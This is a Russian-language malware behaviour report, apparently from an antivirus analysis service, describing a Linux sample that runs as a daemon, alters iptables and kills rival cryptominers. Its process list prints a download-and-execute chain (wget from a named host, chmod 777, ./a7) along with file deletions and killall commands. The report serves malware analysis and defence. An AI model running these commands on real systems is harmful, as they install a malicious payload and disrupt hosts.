Техническая информация
Вредоносные функции:
Запускает себя в качестве демона
Компилирует программу из исходных кодов:
- gcc
Модифицирует настройки брандмауэра:
- iptables
Запускает процессы:
- sh -c exec bash --login
- bash --login
- id -u
- ls /etc/bash_completion.d
- mesg n
- top
- make
- wget ss.sydwzl.cn/a7
- chmod 777 a7
- ./a7
- touch /tmp/.a7
- grep -i -q redis /var/spool/cron/atjobs
- grep -i -q redis /var/spool/cron/atspool
- grep -i -q redis /var/spool/cron/crontabs
- grep -i -q redis /var/spool/cron/crontabs/*
- grep -i -q redis /etc/crontab
- grep -i -q redis /etc/cron.d/*
- rm -rf /etc/x7
- chmod -x /etc/xig
- chmod -x /root/cranberry /tmp/cranberry /root/yam
- chmod -x /etc/root.sh
- chmod -x /usr/bin/gpg-agentd
- chmod -x /usr/bin/kworker
- chmod -x /usr/local/bin/gpg-agentd
- pkill -f stratum
Пытается завершает следующие процессы:
- killall -9 xig
- killall -9 cranberry
- killall -9 root.sh
- killall -9 gpg-agentd
- killall -9 .gpg-agent
- killall -9 xmr-stak
- killall -9 kworker
- killall -9 .gpg
- killall -9 pnscan
- killall -9 netfs
- killall -9 geth
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /dev/pts/0
- /var/tmp/a7
Создает или модифицирует файлы:
- /dev/pts/0
- /dev/ptmx
- /var/tmp/a7
- /tmp/.a7
Удаляет файлы:
- /etc/x7
Сетевая активность:
Устанавливает соединение:
- 11#.##.150.172:1024
- <LOCAL_DNS_SERVER>
HTTP GET-запросы:
- ss.##dwzl.cn/a7
DNS ASK:
- ss.##dwzl.cn
Посылает данные следующим серверам:
- 11#.##.150.172:1024
Получает данные от следующих серверов:
- 11#.##.150.172:1024
Прочее:
Собирает информацию об ОС
Собирает информацию о CPU
Собирает информацию об оперативной памяти
Собирает информацию о сетевой активности
